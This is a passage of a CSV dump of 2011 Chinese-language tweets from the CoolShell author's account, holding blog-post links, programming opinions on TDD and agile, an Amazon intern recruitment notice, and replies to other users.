要做的业务举例来说就是把美国商户的商品列到中国，然后中国买家可在本地购买，而进入口业务对买卖双方完全透明。技术强，英文好，有创新能力。HR邮箱：xianliu@amazon.com,\"[TextLink(text='t.cn/ar4YIq', url='http://t.cn/ar4YIq', tcourl='http://t.co/ixqfRN6I', indices=(25, 45))]\",https://twitter.com/haoel/status/114186920225026048\n5471,111705645589348352,2011-09-08 07:41:15+00:00,4,2,0,,酷壳 Coolshell.cn - 千万不要把 bool 当成函数参数: 我们有很多Coding Style 或 代码规范。但这一条可能会经常被我们所遗忘，就是我们经常会在函数的参数里… http://t.co/74PApLp,\"[TextLink(text='goo.gl/fb/7ag7j', url='http://goo.gl/fb/7ag7j', tcourl='http://t.co/74PApLp', indices=(94, 113))]\",https://twitter.com/haoel/status/111705645589348352\n5472,111338987834187776,2011-09-07 07:24:17+00:00,3,0,1,,在Chrome下试试这个搜索吧：http://t.co/JRv6g48,\"[TextLink(text='t.cn/hNE2C', url='http://t.cn/hNE2C', tcourl='http://t.co/JRv6g48', indices=(16, 35))]\",https://twitter.com/haoel/status/111338987834187776\n5473,111251800010653697,2011-09-07 01:37:50+00:00,2,4,0,,@haoel 为我的这个言论举个反例，其真实地发生在我前面的公司。此团队花了一年多的时间讨论设计，讨论过来，讨论过去，公说公有理，婆说婆有理，最后，公司受不了了，让其快快完成，结果完成了一个上线时还有1000多个bug的系统。为什么？因为：没有尝试的思考一无是处！如同纸上谈兵！,,https://twitter.com/haoel/status/111251800010653697\n5474,111251332593229825,2011-09-07 01:35:59+00:00,17,55,3,,聪明的程序员使用50%-70%时间来思考尝试权衡各种设计实现，而用30%-50%的时间忙碌编码调试测试。聪明的老板也会让团队这样。而傻逼的老板，苦逼的程序员会拿出100%-150%的时间来忙着赶进度，返工，重构，fix 大量的bug，所以， 越差的团队一般会越忙，而且还忙不完。,,https://twitter.com/haoel/status/111251332593229825\n5475,111240369777278976,2011-09-07 00:52:25+00:00,9,8,1,,酷壳 Coolshell.cn - 简明 Vim 练级攻略: vim的学习曲线相当的大（参看各种文本编辑器的学习曲线），所以，如果你一开始看到的是一大堆VIM的命令分类，你一定会对这个… http://t.co/sNLVkms,\"[TextLink(text='goo.gl/fb/CXhPZ', url='http://goo.gl/fb/CXhPZ', tcourl='http://t.co/sNLVkms', indices=(94, 113))]\",https://twitter.com/haoel/status/111240369777278976\n5476,108568596145389568,2011-08-30 15:55:45+00:00,0,0,0,,@arthur369 用啊。怎么？,,https://twitter.com/haoel/status/108568596145389568\n5477,106913313002233856,2011-08-26 02:18:14+00:00,0,3,0,,酷壳 Coolshell.cn - C语言中史上最愚蠢的Bug: 本文来自“The most stupid C bug ever”，很有意思，分享给大家。我相信这样的bug，就算你是高手… http://t.co/QTYEe6w,\"[TextLink(text='goo.gl/fb/tAf1Q', url='http://goo.gl/fb/tAf1Q', tcourl='http://t.co/QTYEe6w', indices=(95, 114))]\",https://twitter.com/haoel/status/106913313002233856\n5478,106528945373061121,2011-08-25 00:50:54+00:00,1,3,0,,酷壳 Coolshell.cn - 你会做Web上的用户登录功能吗？: Web上的用户登录功能应该是最基本的功能了，可是在我看过一些站点的用户登录功能后，我觉得很有必要写一篇文章教大家… http://t.co/qm4pbRu,\"[TextLink(text='goo.gl/fb/Nf92v', url='http://goo.gl/fb/Nf92v', tcourl='http://t.co/qm4pbRu', indices=(94, 113))]\",https://twitter.com/haoel/status/106528945373061121\n5479,105830239518728192,2011-08-23 02:34:29+00:00,1,1,1,,酷壳 Coolshell.cn - 弱爆程序员的特征值: 【感谢网友sumtec投递此文，很欢乐也有意思，与大家共勉】 首先说明： 1、以下特征是真实遇到过的，同事犯过的，乃至我自己也犯… http://t.co/UQukYXq,\"[TextLink(text='goo.gl/fb/2hQA2', url='http://goo.gl/fb/2hQA2', tcourl='http://t.co/UQukYXq', indices=(95, 114))]\",https://twitter.com/haoel/status/105830239518728192\n5480,104356717604773889,2011-08-19 00:59:14+00:00,2,2,0,,酷壳 Coolshell.cn - C++11 中值得关注的几大变化（详解）: 源文章来自前C++标准委员会的 Danny Kalev 的 The Biggest Changes in… http://t.co/wEOio6X,\"[TextLink(text='goo.gl/fb/E5UMK', url='http://goo.gl/fb/E5UMK', tcourl='http://t.co/wEOio6X', indices=(94, 113))]\",https://twitter.com/haoel/status/104356717604773889\n5481,103670846530396160,2011-08-17 03:33:50+00:00,0,0,0,,@vincentai 我也是花了一段时间才明白的。说明Twitter的Don't make me think做得并不好。,,https://twitter.com/haoel/status/103670846530396160\n5482,103668346104455168,2011-08-17 03:23:54+00:00,0,0,0,,@virushuo 可是，这是你的用户行为，不是系统行为。我能分得清楚你有可能造假。但是新浪是不分的。,,https://twitter.com/haoel/status/103668346104455168\n5483,103660647887273985,2011-08-17 02:53:19+00:00,0,0,0,,@virushuo Twitter不加入别人的信息应该就不会有造假的问题吧。但凡是在twitter上回复中加了别人信息的，都有造假嫌疑了。,,https://twitter.com/haoel/status/103660647887273985\n5484,103648709870493696,2011-08-17 02:05:52+00:00,4,1,1,,@virushuo 我写了一篇，国内微博和Twitter的最大不同，请指教 http://t.co/irSazeE,\"[TextLink(text='t.cn/aEFru2', url='http://t.cn/aEFru2', tcourl='http://t.co/irSazeE', indices=(38, 57))]\",https://twitter.com/haoel/status/103648709870493696\n5485,103633318452543488,2011-08-17 01:04:43+00:00,0,1,1,,酷壳 Coolshell.cn - 国内微博和Twitter的最大不同: 霍炬近两个月前写过一篇《microblogging和微博信息架构产品差距和影响》分析了国内微博和Twitter的… http://t.co/WJFyNep,\"[TextLink(text='goo.gl/fb/5VL5s', url='http://goo.gl/fb/5VL5s', tcourl='http://t.co/WJFyNep', indices=(95, 114))]\",https://twitter.com/haoel/status/103633318452543488\n5486,103283474684854272,2011-08-16 01:54:33+00:00,0,0,2,,酷壳 Coolshell.cn - 重构代码的7个阶段: 你曾去想重构一个很老的模块，但是你只看了一眼你就恶心极了。文档，奇怪的函数和类的命名，等等，整个模块就像一个带着脚镣的衣衫褴褛的… http://t.co/KqpHMMa,\"[TextLink(text='goo.gl/fb/02qQS', url='http://goo.gl/fb/02qQS', tcourl='http://t.co/KqpHMMa', indices=(95, 114))]\",https://twitter.com/haoel/status/103283474684854272\n5487,102951366779080704,2011-08-15 03:54:53+00:00,0,2,0,,酷壳 Coolshell.cn - 对象的消息模型: [ ———— 感谢 Todd 同学 投递本文，原文链接 ———— ] C++对象模型 话题从下面这段C++程序说起，你认为它可以顺利… http://t.co/LopDY9Q,\"[TextLink(text='goo.gl/fb/AJTPK', url='http://goo.gl/fb/AJTPK', tcourl='http://t.co/LopDY9Q', indices=(95, 114))]\",https://twitter.com/haoel/status/102951366779080704\n5488,102901821261086721,2011-08-15 00:38:00+00:00,0,1,0,,酷壳 Coolshell.cn - CSS图形: 下面的示例展示了使用纯CSS制作的各种图形，你可以自由地修改文中的CSS代码。这个收集的原文在这里。 .shape { padding… http://t.co/z06lOIQ,\"[TextLink(text='goo.gl/fb/1Oa8V', url='http://goo.gl/fb/1Oa8V', tcourl='http://t.co/z06lOIQ', indices=(94, 113))]\",https://twitter.com/haoel/status/102901821261086721\n5489,102656720668602369,2011-08-14 08:24:04+00:00,1,0,0,,酷壳 Coolshell.cn - PHP分页技术的代码和示例: 本文来自：10 Helpful PHP Pagination Scripts For Web Developers 分页… http://t.co/DdvuDdR,\"[TextLink(text='goo.gl/fb/CxQGs', url='http://goo.gl/fb/CxQGs', tcourl='http://t.co/DdvuDdR', indices=(95, 114))]\",https://twitter.com/haoel/status/102656720668602369\n5490,101850031316934656,2011-08-12 02:58:34+00:00,0,0,0,,酷壳 Coolshell.cn - 在新浪微博上关于敏捷的一些讨论: 自从我发布了“Scrum为什么不行”，并被CSDN推成首页头条后，我在我的新浪微博上就经常被敏粉们@去讨论他们的一些… http://goo.gl/fb/Fw6AQ,,https://twitter.com/haoel/status/101850031316934656\n5491,101823605347860480,2011-08-12 01:13:33+00:00,0,1,0,,KinectFusion，用个摄像头就可以把真实的环境给3D扫描下来。技术太疯狂了。Youtube视频：http://t.co/t5snNu4,\"[TextLink(text='youtube.com/watch?v=quGhag…', url='http://www.youtube.com/watch?v=quGhaggn3cQ&feature=player_embedded', tcourl='http://t.co/t5snNu4', indices=(52, 71))]\",https://twitter.com/haoel/status/101823605347860480\n5492,101487929557401603,2011-08-11 02:59:42+00:00,0,0,0,,酷壳 Coolshell.cn - 疯狂的 Web 应用开源项目: 下面是一个Web应用的开源列表。没什么可说的，太疯狂了。尤其是Web 2.0那一堆。我不知道你怎么想，有些开源项目的源… http://goo.gl/fb/FZeO5,,https://twitter.com/haoel/status/101487929557401603\n5493,100383196310544385,2011-08-08 01:49:53+00:00,0,0,1,,@othercatlee @o_lll 苹果的忠实用户啊。牛！,,https://twitter.com/haoel/status/100383196310544385\n5494,100379769954238464,2011-08-08 01:36:16+00:00,0,0,1,,\"酷壳 Coolshell.cn - 10大经典错误: 下面是10、11个经典的错误，升序排名。希望大家补充！ 10、DOS的Abort，Retry, Fail？错误 85年以后出生的人… http://goo.gl/fb/40iDb\",,https://twitter.com/haoel/status/100379769954238464\n5495,98951757790576640,2011-08-04 03:01:52+00:00,0,4,2,,在google map里输入“from: Taiwan to: China”（http://t.co/FqLaJYW ），你会看到下图的建议。 http://t.co/vqAENEr,\"[TextLink(text='t.cn/a85nP6', url='http://t.cn/a85nP6', tcourl='http://t.co/FqLaJYW', indices=(39, 58)), TextLink(text='ww3.sinaimg.cn/large/538efefb…', url='http://ww3.sinaimg.cn/large/538efefbtw1djtbxpdvhgj.jpg', tcourl='http://t.co/vqAENEr', indices=(72, 91))]\",https://twitter.com/haoel/status/98951757790576640\n5496,98208099738976256,2011-08-02 01:46:50+00:00,17,4,0,,酷壳 Coolshell.cn - 10个必需的iOS开发工具和资源: 界面总不是一件很容易事，尤其是iPhone/iPad的界面，做过iOS开发的程序员，一定会感到开发iPhone… http://goo.gl/fb/9jnuV,,https://twitter.com/haoel/status/98208099738976256\n5497,96163913833512960,2011-07-27 10:23:58+00:00,8,17,1,,这个国家果然是瓷器国，谣言都能分成官谣和民谣两种。官窑专出敏感瓷，民窑尽出杯具。,,https://twitter.com/haoel/status/96163913833512960\n5498,94208140358320128,2011-07-22 00:52:25+00:00,0,0,0,,@Sword_Breaker 其实，我花了10多年。,,https://twitter.com/haoel/status/94208140358320128\n5499,93951961870766080,2011-07-21 07:54:27+00:00,0,1,0,,酷壳 Coolshell.cn - 面向对象的Shell脚本: 还记得以前那个用算素数的正则表达式吗？编程这个世界太有趣了，总是能看到一些即别出心裁的东西。你有没有想过在写Shell脚本… http://goo.gl/fb/Mc5hN,,https://twitter.com/haoel/status/93951961870766080\n5500,93949866224517120,2011-07-21 07:46:08+00:00,0,0,0,,\"@mauritsrijk By the way, it's much more similar between Western and Eastern about the realities you mentioned in your blog.\",,https://twitter.com/haoel/status/93949866224517120\n5501,93949077083000832,2011-07-21 07:43:00+00:00,0,0,1,,\"@mauritsrijk Hello Maurits, I am that one partially translated your \"\"black-hat\"\" article. And I add some China IT companies realities.\",,https://twitter.com/haoel/status/93949077083000832\n5502,93842324748120064,2011-07-21 00:38:48+00:00,0,0,0,,酷壳 Coolshell.cn - 为什么Scrum不行？: 这篇文章的原文在这里（原文链接）（下文不是全译，也不是部分译，我只是把其总结，有我自己的发挥，但是原意大致不变），这篇文章… http://goo.gl/fb/rG6Nh,,https://twitter.com/haoel/status/93842324748120064\n5503,93630823680577536,2011-07-20 10:38:22+00:00,0,2,0,,苹果店都能ripoff，中国人还有什么干不出来？http://t.co/eWSU5yR,\"[TextLink(text='birdabroad.wordpress.com/2011/07/20/are…', url='http://birdabroad.wordpress.com/2011/07/20/are-you-listening-steve-jobs/', tcourl='http://t.co/eWSU5yR', indices=(24, 43))]\",https://twitter.com/haoel/status/93630823680577536\n5504,93229013950144512,2011-07-19 08:01:43+00:00,0,0,0,,@unixipc 也许你是对的。不过我个人的经历告诉我技术储备还是很重要的。现学现用有时候挺不靠谱的。,,https://twitter.com/haoel/status/93229013950144512\n5505,93149446241656832,2011-07-19 02:45:33+00:00,0,2,3,,有朋友说学完我那篇《技术攻略》的东西人都40了，还不如想想怎么去挣钱。我想让大家思考一下，无论是打工还是创业，是什么东西让你自己或是你的公司更有价值，更值钱？别的地方我不敢说，对于互联网或IT公司来说，技术实力绝对是其中之一。,,https://twitter.com/haoel/status/93149446241656832\n5506,93130406219620352,2011-07-19 01:29:53+00:00,0,0,2,,@Sheldon145 搜 Hao Chen ?!,,https://twitter.com/haoel/status/93130406219620352\n5507,93129706530013184,2011-07-19 01:27:06+00:00,0,1,2,,有朋友奇怪为什么我在《程序员练级攻略》这篇文章开头说了web+移动，却没有在后面提到iOS/Android的前端开发。因为我心里有一种感觉，移动设备上的UI最终也会被Javascript取代。大家可以用iPhone或Android看看google+，你就会明白了。,,https://twitter.com/haoel/status/93129706530013184\n5508,92845149348044800,2011-07-18 06:36:23+00:00,0,0,0,,我曾经也在南天工作过，国内的银行的确没有用Win，基本上都是Unix+C+Java，本质上是跟着IBM走的。我说的是国外的事。@newcomer2009 @hnws @virushuo @newcomer2009,,https://twitter.com/haoel/status/92845149348044800\n5509,92814901755654144,2011-07-18 04:36:11+00:00,0,0,0,,@newcomer2009 @hnws @virushuo 大哥，我真的没讲笑话啊。亲身经历啊。,,https://twitter.com/haoel/status/92814901755654144\n5510,92810807301255168,2011-07-18 04:19:55+00:00,0,0,0,,@CharSeer @virushuo @hnws 我上一家公司在路透，上上家在Platform，我们的金融客户点名要Win而不是Linux。,,https://twitter.com/haoel/status/92810807301255168\n5511,92809513488486400,2011-07-18 04:14:46+00:00,0,0,1,,@CharSeer @virushuo  @hnws 路透里的金融数据发布网基础架构90%都是Windows Server，我知道一些投行现在已经把那些大型主机移植到更便宜的PC Server上来了，主要还是用Win，因为钱对他们不是问题，而且有7x24的技术支持。,,https://twitter.com/haoel/status/92809513488486400\n5512,92807169136787457,2011-07-18 04:05:28+00:00,0,0,1,,@virushuo 国内的好像全是Java的天下，国外的，如路透，投行等都是Windows和C++的天下。,,https://twitter.com/haoel/status/92807169136787457\n5513,92806035152179200,2011-07-18 04:00:57+00:00,0,0,2,,@hnws @virushuo 金融行业还是Windows的天下，连后台服务器都是Windows的，这点的确是这样的。,,https://twitter.com/haoel/status/92806035152179200\n5514,92805170567716865,2011-07-18 03:57:31+00:00,0,0,1,,@virushuo 我有点担心上iOS的应用的GUI最终也会被 Javascript/HTML5 之流。,,https://twitter.com/haoel/status/92805170567716865\n5515,92803081141620736,2011-07-18 03:49:13+00:00,0,0,0,,@virushuo 完全同意。这就是为干什么我在这篇文章里还是让大家学习Windows的GUI编程。,,https://twitter.com/haoel/status/92803081141620736\n5516,92801263162503169,2011-07-18 03:41:59+00:00,8,4,0,,酷壳 Coolshell.cn - 程序员技术练级攻略: 月光博客6月12日发表了《写给新手程序员的一封信》，翻译自《An open letter to those who want… http://goo.gl/fb/PFueg,,https://twitter.com/haoel/status/92801263162503169\n5517,91785944616796160,2011-07-15 08:27:29+00:00,0,0,0,,@wannaho 离我那么近啊。另，google+没有开放注册吗？,,https://twitter.com/haoel/status/91785944616796160\n5518,91720600522993664,2011-07-15 04:07:49+00:00,1,0,0,,关于float用0和1的实现，以及其精度问题请看 wikipedia - http://t.co/oy98bwS,\"[TextLink(text='t.cn/aONAb6', url='http://t.cn/aONAb6', tcourl='http://t.co/oy98bwS', indices=(37, 56))]\",https://twitter.com/haoel/status/91720600522993664\n5519,91708046581039104,2011-07-15 03:17:56+00:00,1,0,2,,相信有很多项目都是用float做为金额的类型，而float的操作的精度问题给我们的程序带来了很多的不便。大家有没有想过在业务的允许下使用int/long类型呢？—— 单位为“分”或“厘”。 大家思考过这个问题吗？,,https://twitter.com/haoel/status/91708046581039104\n5520,91512587161829376,2011-07-14 14:21:15+00:00,2,9,1,,京沪高铁的质量问题是因为没有采用TDD的方法来设计。他们应该在建造铁路之前把测试案例做好，根据测试来导出优秀设计，而且他们在建造铁路的时候没有持续集成，结对，以及重构等Best Practice。完全使用了Waterfall的开发方法，所以Release了以后 bug 连连。呵呵,,https://twitter.com/haoel/status/91512587161829376\n5521,90598497056854016,2011-07-12 01:48:59+00:00,2,7,0,,酷壳 Coolshell.cn - 给程序员新手的一些建议: 前段时间因为实习生计划花了很多时间做了实习生招聘的工作，产生的一些想法，写在这里。 这次招聘过程中，我发现我们在校的学生有… http://goo.gl/fb/2qrbL,,https://twitter.com/haoel/status/90598497056854016\n5522,90329526478962688,2011-07-11 08:00:12+00:00,0,0,0,,@zhanwu 我也谢谢你的时间，你的能力非常不错，在国外找个好的工作应该不成问题。我非常遗憾不能和你一起共事。,,https://twitter.com/haoel/status/90329526478962688\n5523,89251214398734336,2011-07-08 08:35:22+00:00,0,0,0,,\"F*ck the process, embrace the team!  http://t.co/35xIVBM\",\"[TextLink(text='sickenger.com/2011/07/agile-…', url='http://www.sickenger.com/2011/07/agile-fck-the-process-embrace-the-team/', tcourl='http://t.co/35xIVBM', indices=(37, 56))]\",https://twitter.com/haoel/status/89251214398734336\n5524,89227344287506432,2011-07-08 07:00:31+00:00,0,0,1,,@killwing 这个我认同。不过，这和熟练掌握Office是另一个话题了。,,https://twitter.com/haoel/status/89227344287506432\n5525,89226642949541888,2011-07-08 06:57:44+00:00,3,2,0,,Javascript的小技巧汇总：http://t.co/nkzBxIb&_Tricks,\"[TextLink(text='code.google.com/p/jslibs/wiki/…', url='https://code.google.com/p/jslibs/wiki/JavascriptTips#language_advanced_Tips_', tcourl='http://t.co/nkzBxIb', indices=(17, 36))]\",https://twitter.com/haoel/status/89226642949541888\n5526,89223363519709185,2011-07-08 06:44:42+00:00,0,0,0,,@virushuo 功能的确相当繁杂，不过要使用好它应该也没有那么夸张吧。不然就不会是这个世界用户量最大的办公软件了。这世上有N多的技术小白都能比较熟练地用Office啊。另外，我承认Microsoft在提高软件开发复杂度上是很有一手的。,,https://twitter.com/haoel/status/89223363519709185\n5527,89221106107559936,2011-07-08 06:35:44+00:00,0,0,1,,@killwing Excel的三国杀，的确很强大。这是不是说，我能使用一个不适合干这个事的工具干成了这个事，就可以说——我要掌握这个工具并不容易？,,https://twitter.com/haoel/status/89221106107559936\n5528,89220478618714112,2011-07-08 06:33:14+00:00,0,0,0,,@virushuo 真的？愿闻其详。能给个例子吗？,,https://twitter.com/haoel/status/89220478618714112\n5529,89218304778043394,2011-07-08 06:24:36+00:00,0,0,1,,一些推友觉得真正掌握Office并且可以使用其编程是可以加分的。我对此感到有点意外。为什么大家会觉得Office不容易掌握呢？如果连这个都不容易掌握，那么我很担心你掌握那些真正的技术——系统，网络，分布式，P2P，集群，高性能计算.....,,https://twitter.com/haoel/status/89218304778043394\n5530,88888564171022336,2011-07-07 08:34:19+00:00,1,10,6,,关于实习生的招聘，谢谢大家帮我的转发，我收到了很多简历，有许多同学的简历里的技能一项里有这么一项：“能熟练使用Microsoft的Office办公软件”。我对此有点无语。我认为，一个程序员是不应该把这个技能放在自己的简历里的，就像我们做自我介绍说自己“熟练掌握走路跑步技能”一样。,,https://twitter.com/haoel/status/88888564171022336\n5531,88443574156402688,2011-07-06 03:06:05+00:00,0,2,1,,酷壳 Coolshell.cn - 软件公司的两种管理方式: 这篇文章是我的一个外国的同事Gareth推荐给我的，我和他一起工作过一段时间。他之所以觉得非常不错，是因为这篇文章让他身有… http://goo.gl/fb/bpNrI,,https://twitter.com/haoel/status/88443574156402688\n5532,88258684479746048,2011-07-05 14:51:24+00:00,0,3,0,,1993，李连杰版的《倚天屠龙记之魔教教主》已经告诉过我们红十字会是什么样的了。http://t.co/1l3qkWi。并请大家欣赏这两个败类的精彩演出。http://t.co/6LK2LTC,\"[TextLink(text='ww2.sinaimg.cn/large/538efefb…', url='http://ww2.sinaimg.cn/large/538efefbtw1div67vkj60j.jpg', tcourl='http://t.co/1l3qkWi', indices=(40, 59)), TextLink(text='t.cn/aCGT15', url='http://t.cn/aCGT15', tcourl='http://t.co/6LK2LTC', indices=(77, 96))]\",https://twitter.com/haoel/status/88258684479746048\n5533,88169867303337984,2011-07-05 08:58:29+00:00,0,0,2,,随便说一下，刚才那个实习生招聘的工作地点在：北京东四环慈云寺桥远洋国际A座,,https://twitter.com/haoel/status/88169867303337984\n5534,88167368781602816,2011-07-05 08:48:33+00:00,0,0,0,,@phaytsukiming 是的，目前没有。以后可能会有。,,https://twitter.com/haoel/status/88167368781602816\n5535,88154485100257280,2011-07-05 07:57:21+00:00,0,0,0,,@whh110112 简历发我邮箱吧。如果没有录用，千万不要报仇啊。哈。,,https://twitter.com/haoel/status/88154485100257280\n5536,88154256699428864,2011-07-05 07:56:27+00:00,0,0,0,,@phaytsukiming 这个是实习生计划。不是正式员工。呵呵。,,https://twitter.com/haoel/status/88154256699428864\n5537,88153454089994240,2011-07-05 07:53:15+00:00,0,0,0,,呵呵，不管怎么样，谢谢帮转。@johnnykwok 用Hotmail的人来讲改变世界，总觉得不太靠谱。RT @mranti,,https://twitter.com/haoel/status/88153454089994240\n5538,88150122910851072,2011-07-05 07:40:01+00:00,0,0,0,,@whh110112 @mranti 当然给啊。好像是200/天吧。,,https://twitter.com/haoel/status/88150122910851072\n5539,88149981680254976,2011-07-05 07:39:28+00:00,0,0,0,,对于刚才发的实习生招聘广告，很多人都来问，所以，我写了一个详细一点的广告。http://t.co/crLFKEq,\"[TextLink(text='ww4.sinaimg.cn/large/538efefb…', url='http://ww4.sinaimg.cn/large/538efefbtw1diuvdb0rqnj.jpg', tcourl='http://t.co/crLFKEq', indices=(37, 56))]\",https://twitter.com/haoel/status/88149981680254976\n5540,88139181213237248,2011-07-05 06:56:33+00:00,2,10,4,,发个广告：招聘在校实习生。我现在亚马逊做电子商务全球化的项目，我的项目需要一个实习生（有机会转成正式员工），如果你对互联网和技术有热情，有想要改变世界的想法和愿望。请和我联系（可reply，PM，发邮件 haoel(at)hotmail.com）,,https://twitter.com/haoel/status/88139181213237248\n5541,87726531455094785,2011-07-04 03:36:49+00:00,0,0,1,,@4xy 服务器上处理客户端发来的请求并不会马上处理，我想，服务器可能会把客户端发来多个请求放在一个队列中慢慢处理（异步模式），然后真正的处理程序会分析所有的这些请求，统一作处理。所以，Web的负载会大，但是不会影响后台真正的查询负载。,,https://twitter.com/haoel/status/87726531455094785\n5542,87724294171410432,2011-07-04 03:27:56+00:00,1,0,0,,浏览器小孩子打架 http://t.co/CxF9grm,\"[TextLink(text='ww4.sinaimg.cn/large/538efefb…', url='http://ww4.sinaimg.cn/large/538efefbtw1ditid8e748j.jpg', tcourl='http://t.co/CxF9grm', indices=(9, 28))]\",https://twitter.com/haoel/status/87724294171410432\n5543,87724162843549697,2011-07-04 03:27:24+00:00,0,0,1,,@4xy 哪个地方没有明白？,,https://twitter.com/haoel/status/87724162843549697\n5544,87707076004020226,2011-07-04 02:19:31+00:00,0,2,1,,酷壳 Coolshell.cn - Quora使用到的技术: 以前向大家介绍过Stack Exchange的系统架构和Facebook的系统架构，今天和大家说说Quora的。本文主要参考… http://goo.gl/fb/9ryhM,,https://twitter.com/haoel/status/87707076004020226\n5545,87526444506427393,2011-07-03 14:21:45+00:00,0,0,0,,#推荐# 测试驱动开发(TDD)跟敏捷开发有冲突 http://t.co/b9Vyjeo,\"[TextLink(text='t.cn/aN7g8z', url='http://t.cn/aN7g8z', tcourl='http://t.co/b9Vyjeo', indices=(25, 44))]\",https://twitter.com/haoel/status/87526444506427393\n5546,86567923023491073,2011-06-30 22:52:55+00:00,0,0,0,,此微博已被删除!,,https://twitter.com/haoel/status/86567923023491073\n5547,86370595046043649,2011-06-30 09:48:49+00:00,0,0,0,,\"@zhanwu just checked, I exhausted all the invitation today, probably I can send you tomorrow.\",,https://twitter.com/haoel/status/86370595046043649\n5548,86368937268363264,2011-06-30 09:42:13+00:00,0,0,0,,@zhanwu  seems you can use your google account login now.,,https://twitter.com/haoel/status/86368937268363264\n5549,86328548356390912,2011-06-30 07:01:44+00:00,0,0,1,,@wangyf2001 对你有用我也很高兴。另外，聊的开心不是目的，重要的是你要发现这个人的长处，性格，思路，想法。重要的是看他以前做过什么，以前怎么处理问题的。呵呵。对了，你在哪个公司工作啊？,,https://twitter.com/haoel/status/86328548356390912\n5550,86311253026422784,2011-06-30 05:53:00+00:00,0,0,1,,@wangyf2001 同意。深度合作代表沟通，代表大家要对目标和怎么去实现有清楚的共识，章法代表要有可供协作和集成的的软件框架及相关流程。,,https://twitter.com/haoel/status/86311253026422784\n5551,86307406111444992,2011-06-30 05:37:43+00:00,0,0,1,,@wangyf2001 没错，需要强大的沟通，和对目标有相同的认识，需要两个团队所有人的沟通和分享，还需要有快速的持续集成的软件框架。个人觉得在项目后期快要完成时会更容易操作。,,https://twitter.com/haoel/status/86307406111444992\n5552,86256481892188160,2011-06-30 02:15:22+00:00,0,0,0,,@alexli_cn 请PM你的gmail给我。,,https://twitter.com/haoel/status/86256481892188160\n5553,86254259158515712,2011-06-30 02:06:32+00:00,0,0,1,,Google+ 开放邀请了。动作很快啊。,,https://twitter.com/haoel/status/86254259158515712\n5554,86250465423142912,2011-06-30 01:51:28+00:00,0,0,1,,这两天在和西雅图的团队自发地搞接力棒式的软件开发，第一次感到软件开发就像4x100米一样，很刺激。两个异地团队做接力开发有一些问题，不过，团队气氛相当不错，大家互相感染，互相鼓劲，就像踢球时看到队友凶狠地拼抢和进攻那样让人鼓舞。,,https://twitter.com/haoel/status/86250465423142912\n5555,86113441802223616,2011-06-29 16:46:59+00:00,1,2,0,,“@herolee_cn: 这也是一个神器啊。http://t.co/ZCEcgZC”,\"[TextLink(text='360buy.com/product/277420…', url='http://www.360buy.com/product/277420.html', tcourl='http://t.co/ZCEcgZC', indices=(23, 42))]\",https://twitter.com/haoel/status/86113441802223616\n5556,86104060138225664,2011-06-29 16:09:42+00:00,0,0,1,,今天试用了一下Google+，一个FB+QQ+微博+相册+IM+圈子的杂烩。MS不错。不过感觉迟早也是墙外之物。,,https://twitter.com/haoel/status/86104060138225664\n5557,86101927015882752,2011-06-29 16:01:13+00:00,1,0,0,,“@tianyi: [Google Reader] 技术贴：《什么叫意淫！？》 -  http://t.co/74Ihd06”。推荐一读!,\"[TextLink(text='j.mp/iYCaSn', url='http://j.mp/iYCaSn', tcourl='http://t.co/74Ihd06', indices=(43, 62))]\",https://twitter.com/haoel/status/86101927015882752\n5558,85883658757607424,2011-06-29 01:33:54+00:00,1,1,0,,酷壳 Coolshell.cn - 语言的数据亲和力: [ 感谢 Todd 同学投递本文 ] 目前，程序设计语言似乎进入了一个蓬勃发展的时期，Javascript、Perl、Python… http://goo.gl/fb/pOk7T,,https://twitter.com/haoel/status/85883658757607424\n5559,85745235153534977,2011-06-28 16:23:51+00:00,0,4,0,,酷壳 Coolshell.cn - 新浪微博的XSS攻击: 今天晚上（2011年6月28日），新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如：“郭美美事件的一些未注意到的… http://goo.gl/fb/UNpFr,,https://twitter.com/haoel/status/85745235153534977\n5560,85634853319606272,2011-06-28 09:05:14+00:00,0,0,0,,@wangyf2001 正是如此。,,https://twitter.com/haoel/status/85634853319606272\n5561,85631380884692992,2011-06-28 08:51:26+00:00,2,4,0,,每次发布TDD文章后总是会引发很多”敏粉“对我的指责。这让我感到我国的TDD能人众多，我似乎感到他们的软件专业化水平完全超过欧美，这是何等的盛世啊。可惜的是，我国软件行业在用户业业分析方面和技术上的差距，导致今天我国软件行业水平还是比较低，还是在C2C和山寨中，这是何等的可悲。,,https://twitter.com/haoel/status/85631380884692992\n5562,85629941160488960,2011-06-28 08:45:43+00:00,1,1,0,,每次发表TDD的文章后（http://t.co/AqnqLfE）总是会受到众多Agile Fans的指责。这不，推上的@diamondtin 又和我争了起来。,\"[TextLink(text='goo.gl/fb/7gAJo', url='http://goo.gl/fb/7gAJo', tcourl='http://t.co/AqnqLfE', indices=(12, 31))]\",https://twitter.com/haoel/status/85629941160488960\n5563,85629536829571073,2011-06-28 08:44:07+00:00,0,0,0,,@diamondtin 你看，我不会因为你是TDD的Fans我就说你被洗脑了。所以，你看到我批评TDD或是有反”以方法论为中心“的倾向时，请你也不要说我要黑什么什么。对不对？,,https://twitter.com/haoel/status/85629536829571073\n5564,85628606268719104,2011-06-28 08:40:25+00:00,0,0,1,,@diamondtin 你不觉得是你也是有倾向的吗？为什么你可以有赞TDD的倾向，我却不能有批TDD的倾向？,,https://twitter.com/haoel/status/85628606268719104\n5565,85627926229434368,2011-06-28 08:37:43+00:00,0,0,0,,@diamondtin 那篇文章我是翻译。Coplien的很多观点和我之前的不谋而合。我说的是很多观点，不是全部观点。你明白吗？,,https://twitter.com/haoel/status/85627926229434368\n5566,85627583848382464,2011-06-28 08:36:21+00:00,0,0,0,,@diamondtin 你这样说就没有意思了。还是那句话，不要把“不同意见”当成“攻击”。,,https://twitter.com/haoel/status/85627583848382464\n5567,85627310123917312,2011-06-28 08:35:16+00:00,0,0,1,,@diamondtin 我的每篇谈TDD的文章都有列举其好的地方，也有列举其不好的地方。你看到了什么呢？,,https://twitter.com/haoel/status/85627310123917312\n5568,85627023594237952,2011-06-28 08:34:07+00:00,0,0,0,,@diamondtin 如果没有夸大TDD，那么就没有人黑TDD。,,https://twitter.com/haoel/status/85627023594237952\n5569,85626860951707649,2011-06-28 08:33:29+00:00,0,0,1,,@diamondtin 你要看BS也要看我BS什么样的人。我说了，只谈方法论，不谈具体技术和业务的人。我觉得TW的很多咨询师就是这样的人。,,https://twitter.com/haoel/status/85626860951707649\n5570,85625998791557120,2011-06-28 08:30:03+00:00,0,0,2,,@diamondtin 